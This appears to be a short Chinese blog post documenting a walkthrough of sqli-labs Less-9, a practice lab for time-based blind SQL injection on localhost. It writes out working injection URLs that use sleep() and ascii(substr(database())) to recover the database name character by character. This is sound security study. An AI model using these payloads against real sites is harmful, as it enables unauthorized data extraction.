【sqli-labs】 less9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

加and

http://localhost/sqli/Less-9/?id=1' and '1'='1%23
http://localhost/sqli/Less-9/?id=1' and '1'='2%23

页面没有变化,一瞬间没弄懂了,看了下源码

发现无论查询的结果是什么,显示都不会有区别

学习一个函数

sleep(n)      休眠n秒

5秒后出现结果

和less8一样是盲注漏洞,构造请求

如果数据库名的第一个字符的ascii码不等于114 则休眠5s

http://localhost/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=114, 0, sleep(5))%23  

浏览器状态栏显示

=115时没有延时,可以推测第一个字符为 's'

http://localhost/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23  

 

posted @ 2018-01-19 20:39  omnis  阅读(429)  评论(0编辑  收藏  举报